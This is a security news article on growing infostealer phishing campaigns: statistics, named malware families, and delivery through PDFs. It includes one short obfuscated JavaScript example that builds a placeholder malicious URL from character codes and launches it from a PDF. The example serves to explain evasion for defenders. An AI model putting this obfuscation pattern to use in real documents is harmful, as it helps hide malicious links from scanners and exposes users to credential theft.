Cybersecurity experts have identified a concerning trend in the distribution of infostealer malware via phishing techniques, with weekly volumes jumping 84% in 2024 compared to the previous year. Early data from 2025 suggests an even more troubling 180% increase from 2023 levels.
This growth reflects a strategic shift as attackers increasingly prioritize credential theft over traditional backdoor malware deployment. Infostealers silently harvest sensitive information including screenshots, keystrokes, and most importantly, credentials from browsers, cryptocurrency wallets, and password managers.
The stolen credentials enable further attacks, with valid account compromise now matching exploitation of public-facing applications as the primary initial access vector in 30% of security incidents.
Delivery methods have evolved significantly. Traditional malicious attachments like ZIP and RAR files have declined by 70% and 45% respectively. Instead, attackers now embed malicious URLs within legitimate-looking PDF documents and leverage trusted cloud platforms to host malware, effectively bypassing conventional security measures.
IBM research identified AgentTesla as the most common infostealer distributed through phishing emails, followed by FormBook, SnakeKeylogger, and PureLogs Stealer. Dark web marketplace analysis showed a 12% year-over-year increase in infostealer listings, with Lumma leading the market, followed by RisePro, Vidar, Stealc, and RedLine.
“Credential harvesting appeared in 28% of all security incidents we responded to in 2024,” stated Charles Henderson, Head of IBM X-Force. “These stolen credentials often allow attackers to remain undetected for extended periods while moving laterally through networks, complicating detection and remediation efforts.”
PDF Obfuscation: A Sophisticated Threat Vector
The transition to PDF-based delivery represents one of the most sophisticated developments in the infostealer landscape. Threat actors prefer PDF files because they’re universally trusted and can effectively hide malicious code within their complex structure.
Analysis of malicious PDFs shows that 42% used obfuscated URLs, 28% concealed URLs in PDF streams, and 7% were delivered encrypted with an accompanying password.
These obfuscation techniques frequently involve encoding malicious URLs using methods like hexadecimal representation or JavaScript obfuscation. For example:
var url = String.fromCharCode(104,116,116,112,115,58,47,47,109,97,108,119,97,114,101,46,115,105,116,101);
app.launchURL(url);This code resolves to “https://malware.site” when executed but appears harmless to automated scanning systems.
Attackers also use encrypted PDF streams where content is compressed and encoded, making detection difficult for conventional security tools.
These PDF-based attacks have particularly targeted Latin American financial institutions, distributing banking trojans like Grandoreiro, Mekotio, and Guildma through cloud infrastructure.
The combination of sophisticated obfuscation, trusted file formats, and legitimate hosting platforms creates ideal conditions for credential theft, requiring organizations to implement multi-layered defenses beyond traditional email scanning to include advanced endpoint protection and identity management controls.
